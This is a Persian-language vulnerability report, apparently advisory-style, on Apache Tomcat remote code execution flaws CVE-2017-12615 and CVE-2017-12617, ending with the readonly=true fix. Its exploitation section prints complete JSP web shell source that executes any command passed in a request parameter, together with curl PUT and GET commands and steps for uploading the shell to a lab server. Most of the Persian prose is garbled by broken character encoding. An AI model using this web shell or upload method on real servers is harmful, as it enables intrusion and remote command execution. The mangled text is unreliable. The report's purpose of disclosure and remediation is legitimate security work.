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  پذیزی اعلام آسیة گشارش

 نقص اجزای کذ اس راه دور در تامکتَ آپاچی عنوان گشارش:
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 تؼالی تؼوِ

 

 چکیذه
 

اًذ. یکی  پزیشی سا دس ػِشٍس ٍب یافتِ (، چٌذیي آػیةApache Tomcatاخیشا، هحمماى گشٍُ تاهکت آپاچی )

ػاصد تا تا اجشای کذّای  اهکاى سا تشای هْاجن ًاؿٌاع فشاّن هیّای هزکَس، ایي  پزیشی اص هْوتشیي آػیة

گشفتِ، هٌـا اكلی ٍجَد چٌیي ًملی،  هخشب اص ساُ دٍس، تش ػولکشد ػِشٍسّا اثش تگزاسد. تٌاتش تحمیمات اًجام

کاس تشدُ  ّایی اػت کِ تَػظ کاستش هـخق ٍ تِ ػذم ٍجَد توْیذات اػتثاسػٌجی کافی تشای ٍسٍدی

 ؿًَذ. هی

پزیشی فَق، تا جضئیات کاهل هَسد تشسػی لشاس گیشد. اص  ایي گضاسؽ ػؼی تش آى اػت تا آػیة دس

سٍی، لاصم اػت دس اتتذا تَضیحاتی دس هَسد تاهکت آپاچی ٍ هاّیت ٍجَدی آى اسائِ گشدد. ػپغ،  ایي

 ی اجشای حولِ ٍ ایجاد خلل دس ایي ػشٍسّا، تا جضئیات کاهل تشسػی خَاٌّذؿذ. ًحَُ
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 نقص اجزای کذ اس راه دور در تامکتَ آپاچی

 Apache Tomcatافشار  نزم 1

دس یک هحیظ تاص ٍ ؿَد،  یاد هی Tomcat Serverػٌَاى  کِ غالثا اص آى تِ، Apache Tomcatافضاس  ًشم

، یک Tomcat Serverاػت.  ی آپاچی، اًتـاس یافتِ ًاهِ ی دٍم گَاّی تَػؼِ یافتِ ٍ تحت ًؼخِ ،اؿتشاکی

افضاس،  تَػؼِ یافت. ایي ًشم 1(ASFافضاس آپاچی ) تاص ػشٍلت جاٍا اػت کِ تَػظ تٌیاد ًشم ی هٌثغ ًذًُگْذاس

 ، كفحات ػِشٍِس جاٍا3ػشٍِلِت جاٍا لثیل اص، 2(Java EE) ی ػاصهاًی جاٍا چٌذیي هـخلِ اص پلتفشم ًؼخِ

(JSP)4ّوچٌیي، یک هحیظ  .ًوایذ هیػاصی  ، سا پیاد6ُػَکت جاٍا ٍبّای  ، ٍ فٌاٍسی5، صتاى تیاى جاٍا

                                                 
1 Apache Software Foundation (ASF) 
2 Java platform, Enterprise Edition (Java EE) 
3 Java Servlet 
4 JavaServer Pages 
5 Java Expression Language 
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دس اداهِ، ّش یک اص ساحتی اجشا گشدًذ.  ػاصد تا کذّای جاٍا تِ تواها جاٍایی سا فشاّن هی HTTPػشٍس  ٍب

 اًذ: هفاّین هزکَس ؿشح دادُ ؿذُ

 :کِ  تخـذ. تا ٍجَد ایي ّای یک ػِشٍس سا تَػؼِ هی ی جاٍا اػت کِ لاتلیت یک تشًاهِ سِزولِت جاوا

ػشٍسّا سا  ٍبّای کاستشدی هشتثظ تا  تَاًذ تِ ّش دسخَاػتی پاػخ دّذ، اها غالثا تشًاهِ ػِشٍلِت هی

تشای ػایش هضاهیي پَیای ٍب، اص لثیل  ،چٌیٌی، دس لالة هکولاى جاٍا ّای ایي ًوایذ. ػِشٍلِت اجشا هی

PHP  ٍASP.Netکٌٌذ. ، ایفای ًمؾ هی 

(؛ () initِ ػثاستٌذ اص: همذاسدّی آغاصیي )دٌّذ ک ی حیات ػِشٍلِت سا تـکیل هی ػِ هتذ، چشخِ

تاس ٍ دس اتتذا  هتذ همذاسدّی آغاصیي، تٌْا یک(. () destroy(؛ ٍ اًْذام )() serviceسػاًی ) خذهت

ؿًَذ. پغ اص ایي هشحلِ، ّای ٍِب، همذاسدّی اٍلیِ  شًاهِپاساهتشّای هَسد ًظش ت گشدد تا فشاخَاًی هی

اػت کاستشاى پاػخ دادُ ٍ تِ آًْا ػشٍیغ دّذ. تشای ایي هٌظَس، ػِشٍلت لادس خَاّذ تَد تِ دسخَ

ًَع کٌذ تا  كَست هجضا فشاخَاًی هی سا تشای ّش دسخَاػت، تِ () serviceی ٍِب،  ًگْذاسًذُ

گشدد تا  فشاخَاًی هی () destroyی پاػخ تِ آى سا هـخق ًوایذ. دس ًْایت،  دسخَاػت ٍ ًحَُ

تاس  ایي فاص ًیض ّواًٌذ فاص همذاسدّی آغاصیي، تٌْا یک خاسج ؿَد. ،دّی ػشٍیغ ی چشخِػِشٍلِت اص 

 گشدد. ی حیات ػِشٍلت فشاخَاًی هی دس چشخِ

 ( صفحات سِزور جاواJSP:) ِکٌذ تا  افضاس کوک هی دٌّذگاى ًشم یک تکٌَلَطی اػت کِ تِ تَػؼ

ایجاد ًوایٌذ.  ،اًَاع هؼتٌذ ػایش ، یاHTML ،XMLكَست پَیا ٍ هثتٌی تش  كفحات ٍِب سا تِ

، هـاتِ JSPاسائِ گشدیذ.  sSun Microsystem، تَػظ ؿشکت 1999كفحات ػِشٍس جاٍا، دس ػال 

PHP  ٍASP ُاًذاصی ٍ اجشای  اػت، تا ایي تفاٍت کِ تش هثٌای صتاى جاٍا اػتَاس اػت. تشای ساJSP ،

 ( ًیاص اػت.Jettyا ی Apache Tomcatی ػِشٍلِت )هاًٌذ  ػِشٍس ػاصگاس ٍ یک ًگْذاسًذُ ٍبتِ یک 

اّذُ گًَِ کِ دس تلَیش هـ دّذ. ّواى سا ًـاى هی JSPیک فایل  ی حیات چشخِ، 1تلَیش 

تاؿذ، فاص تشجوِ اجشا  گشدد. اگش ایي فایل، جذیذ تَدُ یا دچاس تغییش ؿذُ اجشا هی JSPد، فایل ؿَ هی

سخَاػت، پاػخ دادُ ًظش ؿذُ ٍ هؼتمیوا تِ د تشجوِ كشف ست، اص فاصكَ گشدد. دس غیش ایي هی

 ؿَد. هی

                                                                                                                                                             
6 Java WebSocket Technologies 
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 :گشا اػت. ایي صتاى،  ًَیؼی ؿی تش، صتاى جاٍا، یک صتاى تشًاهِ یا تِ تیاًی ػادُ ستان تیان جاوا

ٍ  Cاسائِ گشدیذ. جاٍا تؼیاس ؿثیِ  Sun Microsystemsتاس تَػظ جیوض گاػلیٌگ دس ؿشکت  ًخؼتیي

C++ تَاًذ سٍی  تشی داسد. جاٍا صتاًی هؼتمل اص پلتفشم اػت، صیشا هی گشایی آػاى اػت، اها هذل ؿی

 کاهپایلش جاٍا، کِ هاؿیي هجاصی جاٍا ،ؿَد دس ٍالغ، ٍلتی کذ اجشا هی ػاهلی اجشا گشدد. ّش ػیؼتن

(JVM)7 ِ9ذا تِ کذ تایتتثذیل کٌذ، آى سا اتت 8تِ کذ هاؿیي هؼتمیوا کِ کذ سا جای آى ًام داسد، ت 

ػاهلی  دس ًتیجِ، کذ، کاهلا فاسؽ اص ًَع ػیؼتن ًوایذ. تفؼیش ًوَدُ ٍ ػپغ، تِ کذ هاؿیي تشجوِ هی

 اػت. ًَیؼی تِ صتاى جاٍا رکش ؿذُ دس اداهِ، هثالی ػادُ اص تشًاهِگشدد.  اػت کِ دس آى اجشا هی

 

 

 

 

                                                 
7 Java Virtual Machine (JVM) 
8 Machine code 
9 Bytecode 

 JSP ی حیاتچشخِ: 1ؿکل 

class HelloJavaProgram 

{ 

 public static void main (String[] args) 

{ 

  System.out.println (“Hello World!”); 

} 

} 
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 یک پشٍتکل استثاعی کاهپیَتش اػت کِ استثاعات کاهلا ػَکت ٍبِ سوکت جاوا: وِبهای  فناوری ،

صتاى جاٍا كَست  هثٌای، تش ػَکت ًَیؼی ٍِب آٍسد. تشًاهِ شاّن هیف TCP اتلالاتدٍػَیِ سا دس 

ػاصد تا تتَاًٌذ تِ آػاًی، اعلاػات یک  ًَیؼاى سا همذٍس هی ًَیؼی، تشًاهِ پزیشد. ایي ًَع تشًاهِ هی

 تٌَیؼٌذ.دس آى ػَکت سا تخَاًٌذ ٍ یا 

 ها مولفه 1.1

اػت کِ دس اداهِ، ّش یک اص آًْا ؿشح دادُ  ؿؾ هَلفِ هتؼذدی تـکیل ؿذُ، اص Tomcat Serverافضاس  ًشم

 .ؿذخَاٌّذ

 Catalina: ُی ػشٍلت  یک ًگْذاسًذTomcat ِّای  اػت کِ هـخلSun Microsystems  سا تشای

ّای  ای اص ًام گش پایگاُ دادُ ، تیاىTomcatدس  Realmی  کٌذ. یک هَلفِ ػاصی هی ، پیادJSPُػشٍلت ٍ 

داسًذ کِ ّایی ٍجَد  ؿذُ تِ کاستشاى اػت. هحیظ کاستشی، سهضّای ػثَس، ٍ ًمَؽ اختلاف دادُ

ّا، اص  ذ. ایي هحیظًؿَ اص لثل ایجاد ؿذُ ٍ ًگْذاسی هی ،اعلاػات احشاصَّیت هزکَس دس آًْا

ّای  ػاصی ًوایٌذ. پیادُ ی هذیشیت اهٌیت، اػتفادُ هی ػاصی ًگْذاسًذُ جْت پیادُ فَق،اعلاػات 

 .ذًآٍس فشاّن هی Catalinaسا تشای  ّایی تجویغ تا چٌیي هحیظ ، اهکاىRealmهختلف 

 Coyote:  یک ساتظTomcat  اػت کِ اص پشٍتکلHTTP 1.1 ِػول  ، پـتیثاًی تِػشٍس ػٌَاى ٍب ت

ّای هحلی  ػشٍس ػادُ، کِ فایل ٍبػٌَاى یک  تتَاًذ تِ Catalinaگشدد تا  آٍسد. ایي اهش هَجة هی هی

تِ اتلالات ٍسٍدی تِ ػشٍس،  Coyote دّذ، ًیض ػول ًوایذ. ( سا ػشٍیغ هیHTTP)هاًٌذ هؼتٌذات 

فشػتذ تا  هی Tomcatّا سا تِ هَتَس  دّذ ٍ دسخَاػت هـخق، گَؽ فشا هی TCPسٍی یک پَست 

، Coyote JKآًْا سا پشداصؽ کشدُ ٍ پاػخ هٌاػثی تِ ّش هـتشی، اسػال کٌذ. ساتظ دیگی تِ ًام 

ّا سا تا اػتفادُ اص پشٍتکل  تدّذ؛ اها دس ػَم، دسخَاػ كَست، هـاتِ ػولیات ؿٌَد سا اًجام هی تِ

JK ًِوایذ. هؼوَلا ایي سٍؽ، اص کاسایی تیـتشی  ػشٍس دیگشی )هاًٌذ آپاچی( اسػال هی ٍب، ت

 تشخَسداس اػت.

 Jasper:  یک هَتَسJSP  تشایTomcat ِسٍد.  ؿواس هی تJasperّای  ، فایلJSP کٌذ تا  سا تجضیِ هی

 ّؼتٌذ(، تِ کذ جاٍا کاهپایل ًوایذ. Catalinaتَػظ ّا )کِ لاتل کٌتشل  آًْا سا دس لالة ػشٍلت

Jasper ّای  لادس اػت دس صهاى اجشا، تغییشات فایلJSP  سا ؿٌاػایی کشدُ ٍ آًْا سا هجذدا کاهپایل

 .کٌذ
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 اػت تا تَاصى تاس ًاؿی اص  ّای کاستشدی تضسگتش اسائِ ؿذُ ایي هَلفِ، جْت هذیشیت تشًاهِ :10خوشه

 ًوایذ. سّای هختلف سا تشلشا تکٌَلَطی

 ػیؼتن )هاًٌذ اًتـاسات  یّااستما تٌذی صهاى ایي ٍیظگی، دس ساػتای تؼْیل :11پذیزی تالا دستزسی

دس ٍالغ، ٍلتی  اػت. افضٍدُ ؿذُ هحیظ صًذُ،، تذٍى تاثیش دس ّای تغییش، ٍ غیشُ( جذیذ، دسخَاػت

ػشٍس اكلی دس حال استما سٍی پَست اكلی اػت، ٍیظگی هزکَس، اص عشیك اػضام ٍ اًتـاس 

پزیشد. ایي  ّای تشافیکی صًذُ تِ یک ػشٍس هَلت سٍی یک پَست هختلف، اًجام هی دسخَاػت

ی ٍب تا تشافیک تالا، تؼیاس هفیذ ّای کاستشد ّای کاستشاى دس تشًاهِ سٍؽ، تشای هذیشیت دسخَاػت

 خَاّذتَد.

 ّای کاستشدی هثتٌی تش ػیؼتن، اضافِ  ی تشًاهِ کاستش سا ّواًٌذ تَػؼِ ی کارتزدی وب: تزنامه

ّا سا  ّای گًَاگَى، پَؿؾ دّذ. ّوچٌیي، تلاؽ داسد تا ًـؼت اػت تا تَػؼِ سا تحت هحیظ کشدُ

 ّای کاستشدی، کٌتشل ًوایذ. ّواًٌذ تشًاهِ

 ها گیویژ 1.1

Tomcat 7.xِػشٍلت ٍ  2.2ٍ  3.0ی  تشتیة، ًؼخِ ، تJSP ُّایی اص  ًوایذ. ّوچٌیي، تِ ًؼخِ ػاصی هی سا پیاد

 ًیاص داسد. (Java 1.6تخـٌذ )هاًٌذ  پزیشی سا تْثَد هی ، کاسایی، ٍ همیاعJSPی  ، تجضی12ِسٍتی جاٍا کِ صتالِ

ؿًَذ، تشای ّش دٍ پلتفشم هایکشٍػافت ٍیٌذٍص  ًیض ؿٌاختِ هی Tomcat Native، کِ تا ًام 13پَؿاًٌذگاى تَهی

 ٍ یًَیکغ، دس دػتشع ّؼتٌذ.

Tomcat 8.xِػشٍلت ٍ  2.4ٍ  3.1ّای  تشتیة، ًؼخِ ، تJSP ًُوایذ.  ػاصی هی سا پیادTomcat 8.5.x  للذ

ی  ذالل ًؼخِسا تِ اسث تشد. ح Tomcat 9.0.xّای جذیذ  ؿَد ٍ ٍیظگی Tomcat 8.0.xداسد کِ جایگضیي 

 اًذ. ؿذُ، تذٍى تغییش تالی هاًذُ ػاصی هَسد ًیاص جاٍاٍ ٍ هـخلات پیادُ

 های انتشاریافته نسخه 1.1

 ّای هشتثظ آًْا اػت. اًتـاسیافتِ ٍ ٍیظگی Tomcatّای  ی ًؼخِ ، دستشداسًذ1ُجذٍل 

                                                 
10 Cluster 
11 High availability 
12 Garbage collection 
13 Native wrappers 
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 Apache Tomcatّای  ًؼخِ :1جذٍل 

 تاریخ انتشار آخزین نسخه توصیف پایذاراعلام  نسخه

   Tomcatآغاص کاس   2.0

 Servlet 2.2  ٍJSP 1.1 3.3.2 2004-03-09ػاصی  پیادُ 1999 3.0

 Servlet 2.3  ٍJSP 1.2 4.1.40 2009-06-25ػاصی  پیادُ 2002-09-06 4.1

 Servlet 2.4 ،JSP 2.0 ٍ ،EL 1.1 5.0.30 2004-08-30ػاصی  پیادُ 2003-12-03 5.0

 10-10-2012 5.5.36 ی کاهل جاٍا  تذٍى ًلة اتضاس تَػؼِ Tomcatاهکاى اجشای  2004-11-10 5.5

 Servlet 2.5 ،JSP 2.1 ٍ ،EL 2.1 6.0.53 2017-04-07ػاصی  پیادُ 2007-02-28 6.0

 03-10-2017 7.0.82 ػَکت ، ٍ ٍبServlet 3.0 ،JSP 2.2 ،EL 2.2ػاصی  پیادُ 2011-01-14 7.0

 Servlet 3.1 ،JSP 2.3 ٍ ،EL 3.0 8.0.47 2017-10-03ػاصی  پیادُ 2014-06-25 8.0

8.5 2016-06-13 

، هیضتاى هجاصی JSSEتشای  HTTP/2 ،OpenSSLپَؿؾ 

TLS ٍ ،JASPIC 1.1 ایجادؿذُ اص .Tomcat 9 پیشٍ تاخیشات ،

 Java EE 8پلتفشم 

8.5.23 2017-10-01 

9.0 beta ُػاصی  پیادServlet 4.0 ،JSP 2.4 (TBD ٍ ،)EL 3.1 (TBD) 9.0.1 (beta) 2017-09-30 

 

 Tomcatهای  پذیزی آسیة 1

 دٍاػت. اص ایي هیاى،  ؿٌاػایی ؿذُ x Tomcat.7ّای هختلفی تشای  پزیشی تا کٌَى، آػیة 2212اص ػال 

اجشای   پزیشی هیلادی ّؼتٌذ: آػیة 2217ی صهاًی آگَػت تا اکتثش ػال  پزیشی هْن، هشتَط تِ تاصُ آػیة

پزیشی، داسای کذی اػت  دس اکتثش. ّش آػیة کذ دس آگَػت؛ ٍ اجشای اص ساُ دٍس 14(RCE) کذ اص ساُ دٍس

 اًذ. دس اداهِ، تِ تَضیح ّش یک خَاّین پشداخت. رکش ؿذُ 2کِ دس جذٍل 

 Tomcatّای اخیش  پزیشی : آػیة2جذٍل 

 تاریخ اصلاح نسخه نام کذ

CVE-2017-12615 اجشای اص ساُ دٍس کذ Tomcat 9.0.0.M1-9.0.0  2217آگَػت 

                                                 
14 Remote Code Execution (RCE) 
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CVE-2017-12617 اجشای اص ساُ دٍس کذ Tomcat 7.0.0-7.0.79  2217اکتثش 

 

 (CVE-2017-12615) کذ اجزای اس راه دور 1.1

ؿٌاػایی  Tomcat 7.0.80ی  پزیشی اجشای اص ساُ دٍس کذ، دس ًؼخِ هیلادی، آػیة 2217دس آگَػت ػال 

پزیشی، لاصم  تِ آى تؼلك گشفت. پیؾ اص كحثت دس هَسد اثشات ایي آػیة CVE-2017-12615ؿذ ٍ کذ 

، ؿشح دادُ HTTPهتؼلك تِ  PUTٍ هتذ  (RCEاجشای اص ساُ دٍس کذ ) تشخی هفاّین همذهاتی، اص لثیل اػت

 ؿَد.

 (RECاجزای اس راه دور کذ ) 1.1.1

 ػثاست اػت اص تَاًایی هْاجنوَم ٍجَد داسد. ایي هفْاجشای کذ دلخَاُ هفَْهی تِ ًام دس اهٌیت کاهپیَتش، 

كَست اِؿکال  جْت اجشای ّش دػتَس، تِ اًتخاب هْاجن، تش هاؿیي یا فشایٌذ ّذف. ایي هفَْم، غالثا تِ

آٍسد تا هْاجن  ٍجَد هی افضاس تِ پزیشی سا تشای آى ًشم ی آػیة ؿَد ٍ ًمغِ افضاسّا پذیذاس هی دس ًشم 15)تاگ(

پزیشی هَسد  تشداسی اص ایي آػیة ای کِ تشای تْشُ سا اجشا ًوایذ. تشًاهِساحتی تتَاًذ کذ دلخَاُ خَد  تِ

اهکاى  ،ّای هزکَس پزیشی اغلة آػیة ؿَد. تشداس اجشای کذ دلخَاُ ًاهیذُ هی گیشد، تْشُ اػتفادُ لشاس هی

سا تضسیك ٍ اجشا  16آٍسًذ. تٌاتشایي، کذپَػتِ )کذؿِل( ّای تیـتش سا فشاّن هی تشداسی اجشای کذ هاؿیي ٍ تْشُ

اص یک هاؿیي تِ هاؿیي دیگش  ،ًوایٌذ تا هْاجن تتَاًذ کذ دلخَاُ خَد سا پیادُ ػاصد. اگش چٌیي اجشای کذی هی

 ًام خَاّذ گشفت. اجزای اس راه دور کذٍ دس تؼتشی گؼتشدُ هاًٌذ ایٌتشًت كَست پزیشد، 

 HTTP PUTمتذ  1.1.1

ی  دادُ ًوایؾ هحلَس دسی  ؿذُ تَكیفا ٍضؼیت ی هٌثغ جذیذی سا ایجاد کشدُ ٍ ،PUTهتذ دسخَاػت 

ی هَفك  فشاخَاًی یک یا چٌذتاسُ کٌذ. دسخَاػت سا جایگضیي ًوایـی اص یک هٌثغ ّذف هی 17اكلی )پِیلَد(

PUT تاثیش یکؼاًی خَاّذ داؿت ٍ اثش جاًثی ًذاسد. گشاهش ،PUT ِكَست صیش اػت: ت 

 

                                                 
15 Bug 
16 Shellcode 
17 Payload 

PUT /new.html HTTP/1.1 
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 دّذ: سا ًـاى هی PUTکاسگیشی ِ ی ت هثال صیش، ًحَُ

 

 

 

ایجاد ًوایذ،  سا یک ًوایؾ جذیذ ،، تا هَفمیتPUTاگش هٌثغ ّذف، فالذ ًوایؾ کًٌَی تاؿذ ٍ دسخَاػت 

، هغلغ ػاصد. ایي پاػخ تذاى هؼٌا Created 201پاػخ  ی کاستش سا تا اسػال لاصم اػت ػِشٍس اكلی، ًوایٌذُ

 اػت: اػت کِ ًوایؾ جذیذی ایجاد ؿذُ

 

 ،دس تغاتك تا ٍضؼیت ًوایؾ هحلَسکِ هٌثغ ّذف، داسای ًوایؾ کًٌَی تاؿذ ٍ آى ًوایؾ،  دس كَستی

تکویل هَفك  ،No Content 204ٍ یا  OK 200تغییش دادُ ؿَد، لاصم اػت ػِشٍس اكلی، تا اسػال پاػخ 

تِ  204آهیض تَدى ػولیات تغییش ّؼتٌذ. پاػخ  دسخَاػت سا ًـاى دّذ. ّش دٍ پاػخ فَق، حاکی اص هَفمیت

 هؼٌای فالذ هضوَى تَدى تغییش اػت:

 

 ی اجزای اس راه دور کذ نحوه 1.1.1

، ػٌَاى هثال تِاػت ) سٍی آى فؼال ؿذُ HTTPاص  PUTسا دسًظش تگیشیذ کِ خاكیت  ٍیٌذٍص دس حال اجشایی

، حاٍی JSP(. ایي اهکاى ٍجَد داسد کِ یک فایل falseتِ  readonlyپاساهتش فشم  همذاس پیؾتٌظین  تا

هزکَس دسخَاػت ؿذُ ٍ ّش کذ هَجَد دس آى، تَػظ  JSPدسخَاػتی خاف، تاسگزاسی ؿَد. ػپغ، فایل 

 ػِشٍس اجشا خَاّذؿذ.

PUT /new.html HTTP/1.1 

Host: example.com 

Content-type: text/html 

Content-length: 16 

 

<p>New File</p> 

 

HTTP/1.1 201 Created 

Content-Location: /new.html 

 

HTTP/1.1 204 No Content 

Content-Location: /existing.html 
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پزیشی،  اػت. تشای اجشای ایي آػیة دس هثال صیش ًـاى دادُ ؿذُ CVE-2017-12615ای اص اجشای  ًوًَِ

ی تا ًام ٍ ًیاص اػت. اتتذا تایذ کذّای صیش سا دس لالة فایلهشٍسگش  Poster 18ی ٍ افضًٍِ JSPتِ یک فایل 

 ، رخیشُ ًوَد.”Hacking with JSP Shells.jsp“ فشهت

 

 

 

 

 

 

 

 

 

 

 

 

 کشدُ هشاجؼِ ”/https://addons.mozilla.org/en-US/firefox/addon/poster“تایذ تِ آدسع  ،پغ اص آى

 سا داًلَد ٍ فؼال کشد. Posterی  ٍ افضًٍِ

                                                 
18 Addon 

<%@ page 

import="java.util.*,java.io.*"%> 

<% 

%> 

<HTML> 

<BODY> 

<H3>JSP SHELL</H3> 

<FORM METHOD="GET" NAME="myform" ACTION=""> 

<INPUT TYPE="text" NAME="cmd"> 

<INPUT TYPE="submit" VALUE="Execute"> 

</FORM> 

<PRE> 

<% 

    if (request.getParameter("cmd") != null)  

    { 

 out.println("Command: " + 

 request.getParameter("cmd") + "<BR>"); 

 Process p = 

 Runtime.getRuntime().exec(request.getParameter("cmd")); 

 OutputStream os = p.getOutputStream(); 

 InputStream in = p.getInputStream(); 

 DataInputStream dis = new DataInputStream(in); 

 String disr = dis.readLine(); 

 while ( disr != null )  

 { 

out.println(disr); 

disr = dis.readLine(); 

 } 

   } 

%> 

</PRE> 

</BODY> 

</HTML> 
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 Tomcatتش آدسع  PUTدػتَس  اجشای، تا الف 2ی تؼذ، لاصم اػت ّواًٌذ تلَیش  دس هشحلِ

 ”ddos.jsp“فایلی تا ًام (، 19ػاهل هثتٌی تش یًَیکغ )هاًٌذ اٍتًَتَ دس تشهیٌال ػیؼتن(، 192.168.1.4:8080)

ب،  2تَاى ّواًٌذ تلَیش  داد. پغ اص آى، هی لشاس آىهحتَیات ػٌَاى  سا تِ ”!ddos was here“ایجاد ًوَد ٍ 

 :سا هـاّذُ کشد یجادؿذُ ٍ هحتَیات آىفایل ا، GETتا اجشای دػتَس 

 

سا اًتخاب ًواییذ.  Posterی  ، گضیToolsٌِالف، ٍاسد هحیظ هشٍسگش ؿَیذ ٍ اص هٌَی  3ػپغ، عثك تلَیش 

ؿَد، آدسع  ب هـاّذُ هی 3چِ کِ دس تلَیش  گـَدُ خَاّذؿذ. کافی اػت هـاتِ آى Posterی  پٌجشُ

                                                 
19 Ubuntu 

ddos@ddos~$curl –X PUT “http://192.168.1.4:8080/ddos.jsp” –d “ddos was here!” 

ddos@ddos~$curl –X GET “http://192.168.1.4:8080/ddos.jsp” 

 PUT  ٍGETاجشای دػتَسّای : 2ؿکل 

 )الف(

 (ب)

 URLکپی آدسع دس  الف( اجشای هحیظ؛ ب( :Posterهحیظ  :3ؿکل 

 (ب) )الف(
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(http://192.168.1.4:8080/ddos.jsp/ دس لؼوت )URL :کپی گشدد 

 Hacking with JSP“ٍ هـخق ًوَدى هؼیش فایل  Browseی  پغ اص اًجام هشاحل فَق، تا فـشدى دکوِ

Shells.jsp”ؿَد، ٍاسد هحیظ  هـاّذُ هی 4چِ کِ دس تلَیش  ، هحتَیات فایل، هـاتِ آىPoster دس  د.گشد هی

 ؿَد. فـشدُ هی PUTی تؼذ، کلیذ  هشحلِ

ًوایاى خَاّذؿذ کِ  Status: 204ای تا ٍضؼیت  الف، پٌجشُ 5عثك تلَیش ، PUTی  تا فـشدى دکوِ

 URLدس  ”123“تِ  ”ddos“اػت اها فالذ هضوَى اػت. تا تغییش ًام  دّذ تغییشات كَست پزیشفتِ ًـاى هی

 JSPی ٍاسد ًوَدى فایل پَػتِ: 4ؿکل 

 
1 

  

  

  

  2 

3 

4 

5 

 201ٍضؼیت  ؛ ب( 204ٍضؼیت الف(  :PUTی اجشای ًتیجِ :5ؿکل 

 (ب) )الف(
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 ب هـاّذُ خَاّذؿذ. 5، هغاتك تلَیش Status: 201ای تا ٍضؼیت  ، پٌجشPUTٍُ اجشای هجذد 

 6ای هغاتك تلَیش  دس هشٍسگش، كفحِ ”https//192.168.1.4:8080/123.jsp“تا ٍاسد ًوَدى آدسع 

 گـَدُ خَاّذؿذ.

تَاى تا ٍاسد کشدى دػتَسات هختلف، هثادست تِ اجشای اص ساُ دٍس کذ ًوَد. تلاٍیش  دس ایي هشحلِ، هی

 دّذ. ًـاى هی ، حالات هختلف اجشای دػتَس سا7هَجَد دس ؿکل 

 CVE-2017-12615پذیزی  رفع آسیة 2.1.1

پزیشی، کافی اػت تا  تشعشف گشدیذ. تشای سفغ آػیة 7.0.81ی  پزیشی، دس ًؼخِ ؿایاى رکش اػت آػیة

سٍی، تایذ کذ صیش تِ فایل  همذاسدّی اٍلیِ ؿَد. اص ایي true، تِ readonlyفشم پاساهتش  همذاس پیؾ

 دس هشٍسگش JSPی اجشای پَػتِ :6ؿکل 

 RCEاجشای  :7ؿکل 
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web.xml .تَاًذ  کِ کاستش لادس تِ اكلاح کذ ًیؼت، هی دس كَستی اضافِ گشدد تا ػولیات فَق، اًجام پزیشد

 ؿذُ، ایي هـکل سا تشعشف ًوایذ. ی جذیذ اسائِ تا ًلة ًؼخِ

 

 

 CVE-2017-12617پذیزی  آسیة 1.1

ًاؿی اص ػذم اػتثاس کافی ٍسٍدی هتاثش اص ٍ  تَدُ CVE-2017-12615ی هـاتِ  ًؼخِپزیشی،  ایي آػیة

پزیشی  ، ایي آػیةCVE-2017-12615ی  گشدد. ّواًٌذ ًؼخِ افضاس اػت کِ تَػظ کاستش، ٍاسد ػیؼتن هی ًشم

اػت.  ، دس آًْا فؼال گشدیذHTTPُهشتَط تِ  PUTؿَد کِ هتذّای  ّایی یافت هی ًیض دس ػیؼتن

دلخَاُ خَد سا دسػِشٍس ّذف دس  JSPدّذ تا فایل  ، تِ هْاجن اجاصُ هیCVE-2017-12617پزیشی  آػیة

اػت، تاسگزاسی کٌذ. تٌاتشایي، ّش صهاى کِ تِ فایل ًیاص ؿذ، ػشٍس  Apache Tomcatحال اجشا، کِ هتاثش اص 

تِ  HTTP PUTهخشب، کافی اػت هْاجن، یک دسخَاػت  JSPتشای تاسگزاسی  آى سا اجشا خَاّذًوَد.

 پزیش )لشتاًی( اسػال کٌذ. ػشٍس آػیة

، تِ readonlyفشم پاساهتش  ، همذاس پیؾCVE-2017-12615تشای سفغ ایي هـکل ًیض کافی اػت ّواًٌذ 

true  .پزیشی هزکَس، تالاتشیي ػغح آػیة آػیةتٌظین ؿَد ( پزیشیImportantسا تِ خَد اختلاف )  ٍ ُداد

سا دستش  7.0.81تا  7.0.0، ٍ 8.0.46تا  RC1.8.0.0، 8.5.22تا  8.5.0، 9.0.0تا  M1.9.0.0ّای  تواهی ًؼخِ

 اػت. تشعشف ؿذُ 8.5.32 ،8.0.47 ٍ ،7.0.82(، Beta) 9.0.1ّای  پزیشی، دس ًؼخِ اػت. ایي آػیة گشفتِ
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